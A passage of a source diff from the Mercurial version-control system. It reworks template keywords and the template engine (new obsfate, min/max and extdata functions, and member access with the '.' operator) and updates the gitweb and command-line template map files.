 @templatekeyword("predecessors")
 def showpredecessors(repo, ctx, **args):
-    """Returns the list if the closest visible successors
-    """
+    """Returns the list if the closest visible successors. (EXPERIMENTAL)"""
     predecessors = sorted(obsutil.closestpredecessors(repo, ctx.node()))
     predecessors = map(hex, predecessors)
 
     return _hybrid(None, predecessors,
                    lambda x: {'ctx': repo[x], 'revcache': {}},
-                   lambda d: _formatrevnode(d['ctx']))
+                   lambda x: scmutil.formatchangeid(repo[x]))
 
 @templatekeyword("successorssets")
 def showsuccessorssets(repo, ctx, **args):
-    """Returns a string of sets of successors for a changectx
-
-    Format used is: [ctx1, ctx2], [ctx3] if ctx has been splitted into ctx1 and
-    ctx2 while also diverged into ctx3"""
+    """Returns a string of sets of successors for a changectx. Format used
+    is: [ctx1, ctx2], [ctx3] if ctx has been splitted into ctx1 and ctx2
+    while also diverged into ctx3. (EXPERIMENTAL)"""
     if not ctx.obsolete():
         return ''
     args = pycompat.byteskwargs(args)
@@ -651,13 +709,13 @@
     data = []
     for ss in ssets:
         h = _hybrid(None, ss, lambda x: {'ctx': repo[x], 'revcache': {}},
-                    lambda d: _formatrevnode(d['ctx']))
+                    lambda x: scmutil.formatchangeid(repo[x]))
         data.append(h)
 
     # Format the successorssets
     def render(d):
         t = []
-        for i in d.gen:
+        for i in d.gen():
             t.append(i)
         return "".join(t)
 
@@ -665,7 +723,47 @@
         yield "; ".join(render(d) for d in data)
 
     return _hybrid(gen(data), data, lambda x: {'successorset': x},
-                   lambda d: d["successorset"])
+                   pycompat.identity)
+
+@templatekeyword("succsandmarkers")
+def showsuccsandmarkers(repo, ctx, **args):
+    """Returns a list of dict for each final successor of ctx. The dict
+    contains successors node id in "successors" keys and the list of
+    obs-markers from ctx to the set of successors in "markers".
+    (EXPERIMENTAL)
+    """
+
+    values = obsutil.successorsandmarkers(repo, ctx)
+
+    if values is None:
+        values = []
+
+    # Format successors and markers to avoid exposing binary to templates
+    data = []
+    for i in values:
+        # Format successors
+        successors = i['successors']
+
+        successors = [hex(n) for n in successors]
+        successors = _hybrid(None, successors,
+                             lambda x: {'ctx': repo[x], 'revcache': {}},
+                             lambda x: scmutil.formatchangeid(repo[x]))
+
+        # Format markers
+        finalmarkers = []
+        for m in i['markers']:
+            hexprec = hex(m[0])
+            hexsucs = tuple(hex(n) for n in m[1])
+            hexparents = None
+            if m[5] is not None:
+                hexparents = tuple(hex(n) for n in m[5])
+            newmarker = (hexprec, hexsucs) + m[2:5] + (hexparents,) + m[6:]
+            finalmarkers.append(newmarker)
+
+        data.append({'successors': successors, 'markers': finalmarkers})
+
+    f = _showlist('succsandmarkers', data, args)
+    return _hybrid(f, data, lambda x: x, pycompat.identity)
 
 @templatekeyword('p1rev')
 def showp1rev(repo, ctx, templ, **args):
@@ -702,15 +800,14 @@
     repo = args['repo']
     ctx = args['ctx']
     pctxs = scmutil.meaningfulparents(repo, ctx)
-    # ifcontains() needs a list of str
-    prevs = ["%d" % p.rev() for p in pctxs]
+    prevs = [p.rev() for p in pctxs]
     parents = [[('rev', p.rev()),
                 ('node', p.hex()),
                 ('phase', p.phasestr())]
                for p in pctxs]
     f = _showlist('parent', parents, args)
-    return _hybrid(f, prevs, lambda x: {'ctx': repo[int(x)], 'revcache': {}},
-                   lambda d: _formatrevnode(d['ctx']))
+    return _hybrid(f, prevs, lambda x: {'ctx': repo[x], 'revcache': {}},
+                   lambda x: scmutil.formatchangeid(repo[x]), keytype=int)
 
 @templatekeyword('phase')
 def showphase(repo, ctx, templ, **args):
@@ -732,12 +829,10 @@
     be evaluated"""
     args = pycompat.byteskwargs(args)
     repo = args['ctx'].repo()
-    # ifcontains() needs a list of str
-    revs = ["%d" % r for r in revs]
-    f = _showlist(name, revs, args)
+    f = _showlist(name, ['%d' % r for r in revs], args)
     return _hybrid(f, revs,
-                   lambda x: {name: x, 'ctx': repo[int(x)], 'revcache': {}},
-                   lambda d: d[name])
+                   lambda x: {name: x, 'ctx': repo[x], 'revcache': {}},
+                   pycompat.identity, keytype=int)
 
 @templatekeyword('subrepos')
 def showsubrepos(**args):
@@ -772,18 +867,29 @@
         keywords[name] = func
 
 @templatekeyword('termwidth')
-def termwidth(repo, ctx, templ, **args):
+def showtermwidth(repo, ctx, templ, **args):
     """Integer. The width of the current terminal."""
     return repo.ui.termwidth()
 
 @templatekeyword('troubles')
-def showtroubles(**args):
+def showtroubles(repo, **args):
     """List of strings. Evolution troubles affecting the changeset.
+    (DEPRECATED)
+    """
+    msg = ("'troubles' is deprecated, "
+           "use 'instabilities'")
+    repo.ui.deprecwarn(msg, '4.4')
 
+    return showinstabilities(repo=repo, **args)
+
+@templatekeyword('instabilities')
+def showinstabilities(**args):
+    """List of strings. Evolution instabilities affecting the changeset.
     (EXPERIMENTAL)
     """
     args = pycompat.byteskwargs(args)
-    return showlist('trouble', args['ctx'].troubles(), args)
+    return showlist('instability', args['ctx'].instabilities(), args,
+                    plural='instabilities')
 
 # tell hggettext to extract docstrings from these functions:
 i18nfunctions = keywords.values()
diff --git a/mercurial/templater.py b/mercurial/templater.py
--- a/mercurial/templater.py
+++ b/mercurial/templater.py
@@ -5,7 +5,7 @@
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
-from __future__ import absolute_import
+from __future__ import absolute_import, print_function
 
 import os
 import re
@@ -18,11 +18,13 @@
     encoding,
     error,
     minirst,
+    obsutil,
     parser,
     pycompat,
     registrar,
     revset as revsetmod,
     revsetlang,
+    scmutil,
     templatefilters,
     templatekw,
     util,
@@ -33,7 +35,8 @@
 elements = {
     # token-type: binding-strength, primary, prefix, infix, suffix
     "(": (20, None, ("group", 1, ")"), ("func", 1, ")"), None),
-    "%": (16, None, None, ("%", 16), None),
+    ".": (18, None, None, (".", 18), None),
+    "%": (15, None, None, ("%", 15), None),
     "|": (15, None, None, ("|", 15), None),
     "*": (5, None, None, ("*", 5), None),
     "/": (5, None, None, ("/", 5), None),
@@ -58,7 +61,7 @@
         c = program[pos]
         if c.isspace(): # skip inter-token whitespace
             pass
-        elif c in "(=,)%|+-*/": # handle simple operators
+        elif c in "(=,).%|+-*/": # handle simple operators
             yield (c, None, pos)
         elif c in '"\'': # handle quoted templates
             s = pos + 1
@@ -146,15 +149,15 @@
 
 def _parsetemplate(tmpl, start, stop, quote=''):
     r"""
-    >>> _parsetemplate('foo{bar}"baz', 0, 12)
+    >>> _parsetemplate(b'foo{bar}"baz', 0, 12)
     ([('string', 'foo'), ('symbol', 'bar'), ('string', '"baz')], 12)
-    >>> _parsetemplate('foo{bar}"baz', 0, 12, quote='"')
+    >>> _parsetemplate(b'foo{bar}"baz', 0, 12, quote=b'"')
     ([('string', 'foo'), ('symbol', 'bar')], 9)
-    >>> _parsetemplate('foo"{bar}', 0, 9, quote='"')
+    >>> _parsetemplate(b'foo"{bar}', 0, 9, quote=b'"')
     ([('string', 'foo')], 4)
-    >>> _parsetemplate(r'foo\"bar"baz', 0, 12, quote='"')
+    >>> _parsetemplate(br'foo\"bar"baz', 0, 12, quote=b'"')
     ([('string', 'foo"'), ('string', 'bar')], 9)
-    >>> _parsetemplate(r'foo\\"bar', 0, 10, quote='"')
+    >>> _parsetemplate(br'foo\\"bar', 0, 10, quote=b'"')
     ([('string', 'foo\\')], 6)
     """
     parsed = []
@@ -168,7 +171,7 @@
             parsed.append(('string', parser.unescapestr(tmpl[pos:stop])))
             pos = stop
             break
-        c = tmpl[n]
+        c = tmpl[n:n + 1]
         bs = (n - pos) - len(tmpl[pos:n].rstrip('\\'))
         if bs % 2 == 1:
             # escaped (e.g. '\{', '\\\{', but not '\\{')
@@ -191,20 +194,20 @@
     """Expand list of templates to node tuple
 
     >>> def f(tree):
-    ...     print prettyformat(_unnesttemplatelist(tree))
-    >>> f(('template', []))
-    ('string', '')
-    >>> f(('template', [('string', 'foo')]))
-    ('string', 'foo')
-    >>> f(('template', [('string', 'foo'), ('symbol', 'rev')]))
+    ...     print(pycompat.sysstr(prettyformat(_unnesttemplatelist(tree))))
+    >>> f((b'template', []))
+    (string '')
+    >>> f((b'template', [(b'string', b'foo')]))
+    (string 'foo')
+    >>> f((b'template', [(b'string', b'foo'), (b'symbol', b'rev')]))
     (template
-      ('string', 'foo')
-      ('symbol', 'rev'))
-    >>> f(('template', [('symbol', 'rev')]))  # template(rev) -> str
+      (string 'foo')
+      (symbol 'rev'))
+    >>> f((b'template', [(b'symbol', b'rev')]))  # template(rev) -> str
     (template
-      ('symbol', 'rev'))
-    >>> f(('template', [('template', [('string', 'foo')])]))
-    ('string', 'foo')
+      (symbol 'rev'))
+    >>> f((b'template', [(b'template', [(b'string', b'foo')])]))
+    (string 'foo')
     """
     if not isinstance(tree, tuple):
         return tree
@@ -230,15 +233,15 @@
 def _parseexpr(expr):
     """Parse a template expression into tree
 
-    >>> _parseexpr('"foo"')
+    >>> _parseexpr(b'"foo"')
     ('string', 'foo')
-    >>> _parseexpr('foo(bar)')
+    >>> _parseexpr(b'foo(bar)')
     ('func', ('symbol', 'foo'), ('symbol', 'bar'))
-    >>> _parseexpr('foo(')
+    >>> _parseexpr(b'foo(')
     Traceback (most recent call last):
       ...
     ParseError: ('not a prefix: end', 4)
-    >>> _parseexpr('"foo" "bar"')
+    >>> _parseexpr(b'"foo" "bar"')
     Traceback (most recent call last):
       ...
     ParseError: ('invalid token', 7)
@@ -297,11 +300,18 @@
         else:
             return None
 
-def evalfuncarg(context, mapping, arg):
+def evalrawexp(context, mapping, arg):
+    """Evaluate given argument as a bare template object which may require
+    further processing (such as folding generator of strings)"""
     func, data = arg
-    # func() may return string, generator of strings or arbitrary object such
-    # as date tuple, but filter does not want generator.
-    thing = func(context, mapping, data)
+    return func(context, mapping, data)
+
+def evalfuncarg(context, mapping, arg):
+    """Evaluate given argument as value type"""
+    thing = evalrawexp(context, mapping, arg)
+    thing = templatekw.unwrapvalue(thing)
+    # evalrawexp() may return string, generator of strings or arbitrary object
+    # such as date tuple, but filter does not want generator.
     if isinstance(thing, types.GeneratorType):
         thing = stringify(thing)
     return thing
@@ -316,22 +326,22 @@
             thing = util.parsebool(data)
     else:
         thing = func(context, mapping, data)
+    thing = templatekw.unwrapvalue(thing)
     if isinstance(thing, bool):
         return thing
     # other objects are evaluated as strings, which means 0 is True, but
     # empty dict/list should be False as they are expected to be ''
     return bool(stringify(thing))
 
-def evalinteger(context, mapping, arg, err):
+def evalinteger(context, mapping, arg, err=None):
     v = evalfuncarg(context, mapping, arg)
     try:
         return int(v)
     except (TypeError, ValueError):
-        raise error.ParseError(err)
+        raise error.ParseError(err or _('not an integer'))
 
 def evalstring(context, mapping, arg):
-    func, data = arg
-    return stringify(func(context, mapping, data))
+    return stringify(evalrawexp(context, mapping, arg))
 
 def evalstringliteral(context, mapping, arg):
     """Evaluate given argument as string template, but returns symbol name
@@ -343,6 +353,20 @@
         thing = func(context, mapping, data)
     return stringify(thing)
 
+_evalfuncbytype = {
+    bool: evalboolean,
+    bytes: evalstring,
+    int: evalinteger,
+}
+
+def evalastype(context, mapping, arg, typ):
+    """Evaluate given argument and coerce its type"""
+    try:
+        f = _evalfuncbytype[typ]
+    except KeyError:
+        raise error.ProgrammingError('invalid type specified: %r' % typ)
+    return f(context, mapping, arg)
+
 def runinteger(context, mapping, data):
     return int(data)
 
@@ -379,8 +403,8 @@
     return (runtemplate, ctmpl)
 
 def runtemplate(context, mapping, template):
-    for func, data in template:
-        yield func(context, mapping, data)
+    for arg in template:
+        yield evalrawexp(context, mapping, arg)
 
 def buildfilter(exp, context):
     n = getsymbol(exp[2])
@@ -403,27 +427,29 @@
         sym = findsymbolicname(arg)
         if sym:
             msg = (_("template filter '%s' is not compatible with keyword '%s'")
-                   % (filt.func_name, sym))
+                   % (pycompat.sysbytes(filt.__name__), sym))
         else:
-            msg = _("incompatible use of template filter '%s'") % filt.func_name
+            msg = (_("incompatible use of template filter '%s'")
+                   % pycompat.sysbytes(filt.__name__))
         raise error.Abort(msg)
 
 def buildmap(exp, context):
-    func, data = compileexp(exp[1], context, methods)
-    tfunc, tdata = gettemplate(exp[2], context)
-    return (runmap, (func, data, tfunc, tdata))
+    darg = compileexp(exp[1], context, methods)
+    targ = gettemplate(exp[2], context)
+    return (runmap, (darg, targ))
 
 def runmap(context, mapping, data):
-    func, data, tfunc, tdata = data
-    d = func(context, mapping, data)
+    darg, targ = data
+    d = evalrawexp(context, mapping, darg)
     if util.safehasattr(d, 'itermaps'):
         diter = d.itermaps()
     else:
         try:
             diter = iter(d)
         except TypeError:
-            if func is runsymbol:
-                raise error.ParseError(_("keyword '%s' is not iterable") % data)
+            sym = findsymbolicname(darg)
+            if sym:
+                raise error.ParseError(_("keyword '%s' is not iterable") % sym)
             else:
                 raise error.ParseError(_("%r is not iterable") % d)
 
@@ -433,13 +459,34 @@
         if isinstance(v, dict):
             lm.update(v)
             lm['originalnode'] = mapping.get('node')
-            yield tfunc(context, lm, tdata)
+            yield evalrawexp(context, lm, targ)
         else:
             # v is not an iterable of dicts, this happen when 'key'
             # has been fully expanded already and format is useless.
             # If so, return the expanded value.
             yield v
 
+def buildmember(exp, context):
+    darg = compileexp(exp[1], context, methods)
+    memb = getsymbol(exp[2])
+    return (runmember, (darg, memb))
+
+def runmember(context, mapping, data):
+    darg, memb = data
+    d = evalrawexp(context, mapping, darg)
+    if util.safehasattr(d, 'tomap'):
+        lm = mapping.copy()
+        lm.update(d.tomap())
+        return runsymbol(context, lm, memb)
+    if util.safehasattr(d, 'get'):
+        return _getdictitem(d, memb)
+
+    sym = findsymbolicname(darg)
+    if sym:
+        raise error.ParseError(_("keyword '%s' has no member") % sym)
+    else:
+        raise error.ParseError(_("%r has no member") % d)
+
 def buildnegate(exp, context):
     arg = compileexp(exp[1], context, exprmethods)
     return (runnegate, arg)
@@ -488,10 +535,10 @@
     ...     x = _parseexpr(expr)
     ...     n = getsymbol(x[1])
     ...     return _buildfuncargs(x[2], context, exprmethods, n, argspec)
-    >>> fargs('a(l=1, k=2)', 'k l m').keys()
+    >>> list(fargs(b'a(l=1, k=2)', b'k l m').keys())
     ['l', 'k']
-    >>> args = fargs('a(opts=1, k=2)', '**opts')
-    >>> args.keys(), args['opts'].keys()
+    >>> args = fargs(b'a(opts=1, k=2)', b'**opts')
+    >>> list(args.keys()), list(args[b'opts'].keys())
     (['opts'], ['opts', 'k'])
     """
     def compiledict(xs):
@@ -584,6 +631,22 @@
 
     return ''.join(chunks)
 
+@templatefunc('extdata(source)', argspec='source')
+def extdata(context, mapping, args):
+    """Show a text read from the specified extdata source. (EXPERIMENTAL)"""
+    if 'source' not in args:
+        # i18n: "extdata" is a keyword
+        raise error.ParseError(_('extdata expects one argument'))
+
+    source = evalstring(context, mapping, args['source'])
+    cache = mapping['cache'].setdefault('extdata', {})
+    ctx = mapping['ctx']
+    if source in cache:
+        data = cache[source]
+    else:
+        data = cache[source] = scmutil.extdatasource(ctx.repo(), source)
+    return data.get(ctx.rev(), '')
+
 @templatefunc('files(pattern)')
 def files(context, mapping, args):
     """All files of the current changeset matching the pattern. See
@@ -704,7 +767,13 @@
         raise error.ParseError(_("get() expects a dict as first argument"))
 
     key = evalfuncarg(context, mapping, args[1])
-    return dictarg.get(key)
+    return _getdictitem(dictarg, key)
+
+def _getdictitem(dictarg, key):
+    val = dictarg.get(key)
+    if val is None:
+        return
+    return templatekw.wraphybridvalue(dictarg, key, val)
 
 @templatefunc('if(expr, then[, else])')
 def if_(context, mapping, args):
@@ -716,9 +785,9 @@
 
     test = evalboolean(context, mapping, args[0])
     if test:
-        yield args[1][0](context, mapping, args[1][1])
+        yield evalrawexp(context, mapping, args[1])
     elif len(args) == 3:
-        yield args[2][0](context, mapping, args[2][1])
+        yield evalrawexp(context, mapping, args[2])
 
 @templatefunc('ifcontains(needle, haystack, then[, else])')
 def ifcontains(context, mapping, args):
@@ -728,13 +797,18 @@
         # i18n: "ifcontains" is a keyword
         raise error.ParseError(_("ifcontains expects three or four arguments"))
 
-    needle = evalstring(context, mapping, args[0])
     haystack = evalfuncarg(context, mapping, args[1])
+    try:
+        needle = evalastype(context, mapping, args[0],
+                            getattr(haystack, 'keytype', None) or bytes)
+        found = (needle in haystack)
+    except error.ParseError:
+        found = False
 
-    if needle in haystack:
-        yield args[2][0](context, mapping, args[2][1])
+    if found:
+        yield evalrawexp(context, mapping, args[2])
     elif len(args) == 4:
-        yield args[3][0](context, mapping, args[3][1])
+        yield evalrawexp(context, mapping, args[3])
 
 @templatefunc('ifeq(expr1, expr2, then[, else])')
 def ifeq(context, mapping, args):
@@ -747,9 +821,9 @@
     test = evalstring(context, mapping, args[0])
     match = evalstring(context, mapping, args[1])
     if test == match:
-        yield args[2][0](context, mapping, args[2][1])
+        yield evalrawexp(context, mapping, args[2])
     elif len(args) == 4:
-        yield args[3][0](context, mapping, args[3][1])
+        yield evalrawexp(context, mapping, args[3])
 
 @templatefunc('join(list, sep)')
 def join(context, mapping, args):
@@ -758,11 +832,11 @@
         # i18n: "join" is a keyword
         raise error.ParseError(_("join expects one or two arguments"))
 
-    joinset = args[0][0](context, mapping, args[0][1])
-    if util.safehasattr(joinset, 'itermaps'):
-        jf = joinset.joinfmt
-        joinset = [jf(x) for x in joinset.itermaps()]
-
+    # TODO: perhaps this should be evalfuncarg(), but it can't because hgweb
+    # abuses generator as a keyword that returns a list of dicts.
+    joinset = evalrawexp(context, mapping, args[0])
+    joinset = templatekw.unwrapvalue(joinset)
+    joinfmt = getattr(joinset, 'joinfmt', pycompat.identity)
     joiner = " "
     if len(args) > 1:
         joiner = evalstring(context, mapping, args[1])
@@ -773,7 +847,7 @@
             first = False
         else:
             yield joiner
-        yield x
+        yield joinfmt(x)
 
 @templatefunc('label(label, expr)')
 def label(context, mapping, args):
@@ -839,6 +913,36 @@
         tzoffset = util.makedate()[1]
     return (date[0], tzoffset)
 
+@templatefunc('max(iterable)')
+def max_(context, mapping, args, **kwargs):
+    """Return the max of an iterable"""
+    if len(args) != 1:
+        # i18n: "max" is a keyword
+        raise error.ParseError(_("max expects one arguments"))
+
+    iterable = evalfuncarg(context, mapping, args[0])
+    try:
+        x = max(iterable)
+    except (TypeError, ValueError):
+        # i18n: "max" is a keyword
+        raise error.ParseError(_("max first argument should be an iterable"))
+    return templatekw.wraphybridvalue(iterable, x, x)
+
+@templatefunc('min(iterable)')
+def min_(context, mapping, args, **kwargs):
+    """Return the min of an iterable"""
+    if len(args) != 1:
+        # i18n: "min" is a keyword
+        raise error.ParseError(_("min expects one arguments"))
+
+    iterable = evalfuncarg(context, mapping, args[0])
+    try:
+        x = min(iterable)
+    except (TypeError, ValueError):
+        # i18n: "min" is a keyword
+        raise error.ParseError(_("min first argument should be an iterable"))
+    return templatekw.wraphybridvalue(iterable, x, x)
+
 @templatefunc('mod(a, b)')
 def mod(context, mapping, args):
     """Calculate a mod b such that a / b + a mod b == a"""
@@ -849,6 +953,74 @@
     func = lambda a, b: a % b
     return runarithmetic(context, mapping, (func, args[0], args[1]))
 
+@templatefunc('obsfateoperations(markers)')
+def obsfateoperations(context, mapping, args):
+    """Compute obsfate related information based on markers (EXPERIMENTAL)"""
+    if len(args) != 1:
+        # i18n: "obsfateoperations" is a keyword
+        raise error.ParseError(_("obsfateoperations expects one arguments"))
+
+    markers = evalfuncarg(context, mapping, args[0])
+
+    try:
+        data = obsutil.markersoperations(markers)
+        return templatekw.hybridlist(data, name='operation')
+    except (TypeError, KeyError):
+        # i18n: "obsfateoperations" is a keyword
+        errmsg = _("obsfateoperations first argument should be an iterable")
+        raise error.ParseError(errmsg)
+
+@templatefunc('obsfatedate(markers)')
+def obsfatedate(context, mapping, args):
+    """Compute obsfate related information based on markers (EXPERIMENTAL)"""
+    if len(args) != 1:
+        # i18n: "obsfatedate" is a keyword
+        raise error.ParseError(_("obsfatedate expects one arguments"))
+
+    markers = evalfuncarg(context, mapping, args[0])
+
+    try:
+        data = obsutil.markersdates(markers)
+        return templatekw.hybridlist(data, name='date', fmt='%d %d')
+    except (TypeError, KeyError):
+        # i18n: "obsfatedate" is a keyword
+        errmsg = _("obsfatedate first argument should be an iterable")
+        raise error.ParseError(errmsg)
+
+@templatefunc('obsfateusers(markers)')
+def obsfateusers(context, mapping, args):
+    """Compute obsfate related information based on markers (EXPERIMENTAL)"""
+    if len(args) != 1:
+        # i18n: "obsfateusers" is a keyword
+        raise error.ParseError(_("obsfateusers expects one arguments"))
+
+    markers = evalfuncarg(context, mapping, args[0])
+
+    try:
+        data = obsutil.markersusers(markers)
+        return templatekw.hybridlist(data, name='user')
+    except (TypeError, KeyError, ValueError):
+        # i18n: "obsfateusers" is a keyword
+        msg = _("obsfateusers first argument should be an iterable of "
+                "obsmakers")
+        raise error.ParseError(msg)
+
+@templatefunc('obsfateverb(successors)')
+def obsfateverb(context, mapping, args):
+    """Compute obsfate related information based on successors (EXPERIMENTAL)"""
+    if len(args) != 1:
+        # i18n: "obsfateverb" is a keyword
+        raise error.ParseError(_("obsfateverb expects one arguments"))
+
+    successors = evalfuncarg(context, mapping, args[0])
+
+    try:
+        return obsutil.successorsetverb(successors)
+    except TypeError:
+        # i18n: "obsfateverb" is a keyword
+        errmsg = _("obsfateverb first argument should be countable")
+        raise error.ParseError(errmsg)
+
 @templatefunc('relpath(path)')
 def relpath(context, mapping, args):
     """Convert a repository-absolute path into a filesystem path relative to
@@ -943,41 +1115,7 @@
     # which would be unacceptably slow. so we look for hash collision in
     # unfiltered space, which means some hashes may be slightly longer.
     cl = mapping['ctx']._repo.unfiltered().changelog
-    def isvalid(test):
-        try:
-            if cl._partialmatch(test) is None:
-                return False
-
-            try:
-                i = int(test)
-                # if we are a pure int, then starting with zero will not be
-                # confused as a rev; or, obviously, if the int is larger than
-                # the value of the tip rev
-                if test[0] == '0' or i > len(cl):
-                    return True
-                return False
-            except ValueError:
-                return True
-        except error.RevlogError:
-            return False
-        except error.WdirUnsupported:
-            # single 'ff...' match
-            return True
-
-    shortest = node
-    startlength = max(6, minlength)
-    length = startlength
-    while True:
-        test = node[:length]
-        if isvalid(test):
-            shortest = test
-            if length == minlength or length > startlength:
-                return shortest
-            length -= 1
-        else:
-            length += 1
-            if len(shortest) <= length:
-                return shortest
+    return cl.shortest(node, minlength)
 
 @templatefunc('strip(text[, chars])')
 def strip(context, mapping, args):
@@ -1059,7 +1197,7 @@
     "symbol": lambda e, c: (runsymbol, e[1]),
     "template": buildtemplate,
     "group": lambda e, c: compileexp(e[1], c, exprmethods),
-#    ".": buildmember,
+    ".": buildmember,
     "|": buildfilter,
     "%": buildmap,
     "func": buildfunc,
@@ -1103,6 +1241,11 @@
     thing = templatekw.unwraphybrid(thing)
     if isinstance(thing, bytes):
         yield thing
+    elif isinstance(thing, str):
+        # We can only hit this on Python 3, and it's here to guard
+        # against infinite recursion.
+        raise error.ProgrammingError('Mercurial IO including templates is done'
+                                     ' with bytes, not strings')
     elif thing is None:
         pass
     elif not util.safehasattr(thing, '__iter__'):
@@ -1203,47 +1346,47 @@
 
     base = os.path.dirname(mapfile)
     conf = config.config(includepaths=templatepaths())
-    conf.read(mapfile)
+    conf.read(mapfile, remap={'': 'templates'})
 
     cache = {}
     tmap = {}
-    for key, val in conf[''].items():
+    aliases = []
+
+    val = conf.get('templates', '__base__')
+    if val and val[0] not in "'\"":
+        # treat as a pointer to a base class for this style
+        path = util.normpath(os.path.join(base, val))
+
+        # fallback check in template paths
+        if not os.path.exists(path):
+            for p in templatepaths():
+                p2 = util.normpath(os.path.join(p, val))
+                if os.path.isfile(p2):
+                    path = p2
+                    break
+                p3 = util.normpath(os.path.join(p2, "map"))
+                if os.path.isfile(p3):
+                    path = p3
+                    break
+
+        cache, tmap, aliases = _readmapfile(path)
+
+    for key, val in conf['templates'].items():
         if not val:
-            raise error.ParseError(_('missing value'), conf.source('', key))
+            raise error.ParseError(_('missing value'),
+                                   conf.source('templates', key))
         if val[0] in "'\"":
             if val[0] != val[-1]:
                 raise error.ParseError(_('unmatched quotes'),
-                                       conf.source('', key))
+                                       conf.source('templates', key))
             cache[key] = unquotestring(val)
-        elif key == "__base__":
-            # treat as a pointer to a base class for this style
-            path = util.normpath(os.path.join(base, val))
-
-            # fallback check in template paths
-            if not os.path.exists(path):
-                for p in templatepaths():
-                    p2 = util.normpath(os.path.join(p, val))
-                    if os.path.isfile(p2):
-                        path = p2
-                        break
-                    p3 = util.normpath(os.path.join(p2, "map"))
-                    if os.path.isfile(p3):
-                        path = p3
-                        break
-
-            bcache, btmap = _readmapfile(path)
-            for k in bcache:
-                if k not in cache:
-                    cache[k] = bcache[k]
-            for k in btmap:
-                if k not in tmap:
-                    tmap[k] = btmap[k]
-        else:
+        elif key != '__base__':
             val = 'default', val
             if ':' in val[1]:
                 val = val[1].split(':', 1)
             tmap[key] = val[0], os.path.join(base, val[1])
-    return cache, tmap
+    aliases.extend(conf['templatealias'].items())
+    return cache, tmap, aliases
 
 class TemplateNotFound(error.Abort):
     pass
@@ -1277,9 +1420,10 @@
                     minchunk=1024, maxchunk=65536):
         """Create templater from the specified map file"""
         t = cls(filters, defaults, cache, [], minchunk, maxchunk)
-        cache, tmap = _readmapfile(mapfile)
+        cache, tmap, aliases = _readmapfile(mapfile)
         t.cache.update(cache)
         t.map = tmap
+        t._aliases = aliases
         return t
 
     def __contains__(self, key):
@@ -1300,6 +1444,7 @@
 
     def render(self, mapping):
         """Render the default unnamed template and return result as string"""
+        mapping = pycompat.strkwargs(mapping)
         return stringify(self('', **mapping))
 
     def __call__(self, t, **mapping):
diff --git a/mercurial/templates/gitweb/fileannotate.tmpl b/mercurial/templates/gitweb/fileannotate.tmpl
--- a/mercurial/templates/gitweb/fileannotate.tmpl
+++ b/mercurial/templates/gitweb/fileannotate.tmpl
@@ -62,6 +62,13 @@
 </div>
 
 <div class="page_path description">{desc|strip|escape|websub|nonempty}</div>
+
+{diffoptsform}
+
+<script type="text/javascript"{if(nonce, ' nonce="{nonce}"')}>
+    renderDiffOptsForm();
+</script>
+
 <div class="page_body">
 <table>
 <tbody class="sourcelines"
diff --git a/mercurial/templates/gitweb/map b/mercurial/templates/gitweb/map
--- a/mercurial/templates/gitweb/map
+++ b/mercurial/templates/gitweb/map
@@ -334,3 +334,18 @@
   </div>'
 searchhint = 'Find changesets by keywords (author, files, the commit message), revision
   number or hash, or <a href="{url|urlescape}help/revsets">revset expression</a>.'
+
+diffoptsform = '
+  <form id="diffopts-form"
+    data-ignorews="{if(get(diffopts, 'ignorews'), '1', '0')}"
+    data-ignorewsamount="{if(get(diffopts, 'ignorewsamount'), '1', '0')}"
+    data-ignorewseol="{if(get(diffopts, 'ignorewseol'), '1', '0')}"
+    data-ignoreblanklines="{if(get(diffopts, 'ignoreblanklines'), '1', '0')}">
+    <span>Ignore whitespace changes - </span>
+    <span>Everywhere:</span>
+    <input id="ignorews-checkbox" type="checkbox" />
+    <span>Within whitespace:</span>
+    <input id="ignorewsamount-checkbox" type="checkbox" />
+    <span>At end of lines:</span>
+    <input id="ignorewseol-checkbox" type="checkbox" />
+  </form>'
diff --git a/mercurial/templates/map-cmdline.bisect b/mercurial/templates/map-cmdline.bisect
--- a/mercurial/templates/map-cmdline.bisect
+++ b/mercurial/templates/map-cmdline.bisect
@@ -1,5 +1,6 @@
 %include map-cmdline.default
 
+[templates]
 changeset = '{cset}{lbisect}{branches}{bookmarks}{tags}{parents}{user}{ldate}{summary}\n'
 changeset_quiet = '{lshortbisect} {rev}:{node|short}\n'
 changeset_verbose = '{cset}{lbisect}{branches}{bookmarks}{tags}{parents}{user}{ldate}{lfiles}{lfile_copies_switch}{description}\n'
diff --git a/mercurial/templates/map-cmdline.changelog b/mercurial/templates/map-cmdline.changelog
--- a/mercurial/templates/map-cmdline.changelog
+++ b/mercurial/templates/map-cmdline.changelog
@@ -1,3 +1,4 @@
+[templates]
 header = '{date|shortdate}  {author|person}  <{author|email}>\n\n'
 header_verbose = ''
 changeset = '\t* {files|stringify|fill68|tabindent}{desc|fill68|tabindent|strip}\n\t[{node|short}]{tags}{branches}\n\n'
diff --git a/mercurial/templates/map-cmdline.compact b/mercurial/templates/map-cmdline.compact
--- a/mercurial/templates/map-cmdline.compact
+++ b/mercurial/templates/map-cmdline.compact
@@ -1,3 +1,4 @@
+[templates]
 ldate = '{label("log.date",
                 "{date|isodate}")}'
 
diff --git a/mercurial/templates/map-cmdline.default b/mercurial/templates/map-cmdline.default
--- a/mercurial/templates/map-cmdline.default
+++ b/mercurial/templates/map-cmdline.default
@@ -1,9 +1,11 @@
 # Base templates. Due to name clashes with existing keywords, we have
 # to replace some keywords with 'lkeyword', for 'labelled keyword'
-changeset = '{cset}{branches}{bookmarks}{tags}{parents}{user}{ldate}{ltroubles}{summary}\n'
+
+[templates]
+changeset = '{cset}{branches}{bookmarks}{tags}{parents}{user}{ldate}{ltroubles}{lobsfate}{summary}\n'
 changeset_quiet = '{lnode}'
-changeset_verbose = '{cset}{branches}{bookmarks}{tags}{parents}{user}{ldate}{ltroubles}{lfiles}{lfile_copies_switch}{description}\n'
-changeset_debug = '{fullcset}{branches}{bookmarks}{tags}{lphase}{parents}{manifest}{user}{ldate}{ltroubles}{lfile_mods}{lfile_adds}{lfile_dels}{lfile_copies_switch}{extras}{description}\n'
+changeset_verbose = '{cset}{branches}{bookmarks}{tags}{parents}{user}{ldate}{ltroubles}{lobsfate}{lfiles}{lfile_copies_switch}{description}\n'
+changeset_debug = '{fullcset}{branches}{bookmarks}{tags}{lphase}{parents}{manifest}{user}{ldate}{ltroubles}{lobsfate}{lfile_mods}{lfile_adds}{lfile_dels}{lfile_copies_switch}{extras}{description}\n'
 
 # File templates
 lfiles = '{if(files,
@@ -28,19 +30,12 @@
                                                % ' {name} ({source})'}\n"))}'
 
